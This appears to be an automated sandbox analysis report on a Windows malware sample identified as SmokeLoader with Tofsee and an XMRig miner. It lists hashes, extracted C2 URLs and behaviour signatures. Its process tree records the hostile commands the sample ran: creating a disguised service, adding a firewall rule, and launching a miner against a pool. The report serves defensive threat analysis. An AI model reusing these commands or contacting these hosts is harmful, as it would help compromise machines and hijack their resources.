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Overview

overview

10

Static

static

a724f74717...7f.exe

windows7_x64

10

a724f74717...7f.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    27/09/2021, 08:30

Sharing

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General

  • Target

    a724f74717bcc081cf9ee74842f4ab7f.exe

  • Size

    134KB

  • MD5

    a724f74717bcc081cf9ee74842f4ab7f

  • SHA1

    486eda597eed80d2e9e169feb98cfd7ff858fce3

  • SHA256

    5ce23fd6639f4a6e53fb0b1c680dc0bfbd45533d43d8ca8feebf443b523a3e1c

  • SHA512

    18c2d5166ed63a6d342c15c5ef00e9d6e014feb8cab2d7e7218461c84f54c4ee44086691ea0f02994a121d733850ce2468bab75a4447903dc3ca2f1231b8cda4

Score
10/10
smokeloadertofseexmrigbackdoorevasionminerpersistencetrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/
rc4.i32
rc4.i32

Signatures

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 3 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 11 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a724f74717bcc081cf9ee74842f4ab7f.exe
    "C:\Users\Admin\AppData\Local\Temp\a724f74717bcc081cf9ee74842f4ab7f.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:808
    • C:\Users\Admin\AppData\Local\Temp\a724f74717bcc081cf9ee74842f4ab7f.exe
      "C:\Users\Admin\AppData\Local\Temp\a724f74717bcc081cf9ee74842f4ab7f.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1004
  • C:\Users\Admin\AppData\Local\Temp\EE81.exe
    C:\Users\Admin\AppData\Local\Temp\EE81.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2608
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\aycshmhy\
      2⤵
        PID:3188
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ywlxrnyo.exe" C:\Windows\SysWOW64\aycshmhy\
        2⤵
          PID:3772
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create aycshmhy binPath= "C:\Windows\SysWOW64\aycshmhy\ywlxrnyo.exe /d\"C:\Users\Admin\AppData\Local\Temp\EE81.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2840
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description aycshmhy "wifi internet conection"
            2⤵
              PID:1896
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start aycshmhy
              2⤵
                PID:3916
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:616
              • C:\Windows\SysWOW64\aycshmhy\ywlxrnyo.exe
                C:\Windows\SysWOW64\aycshmhy\ywlxrnyo.exe /d"C:\Users\Admin\AppData\Local\Temp\EE81.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:904
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:496
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:640

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • memory/496-131-0x0000000000BC0000-0x0000000000BD5000-memory.dmp

                Filesize

                84KB

                Download

              • memory/640-143-0x0000000001000000-0x00000000010F1000-memory.dmp

                Filesize

                964KB

                Download

              • memory/640-138-0x0000000001000000-0x00000000010F1000-memory.dmp

                Filesize

                964KB

                Download

              • memory/808-114-0x00000000004B0000-0x000000000055E000-memory.dmp

                Filesize

                696KB

                Download

              • memory/904-136-0x0000000000400000-0x00000000004AD000-memory.dmp

                Filesize

                692KB

                Download

              • memory/904-135-0x0000000000610000-0x0000000000623000-memory.dmp

                Filesize

                76KB

                Download

              • memory/1004-115-0x0000000000400000-0x0000000000409000-memory.dmp

                Filesize

                36KB

                Download

              • memory/2608-121-0x00000000004B0000-0x00000000005FA000-memory.dmp

                Filesize

                1.3MB

                Download

              • memory/2608-122-0x0000000000400000-0x00000000004AD000-memory.dmp

                Filesize

                692KB

                Download

              • memory/3052-117-0x0000000000390000-0x00000000003A6000-memory.dmp

                Filesize

                88KB

                Download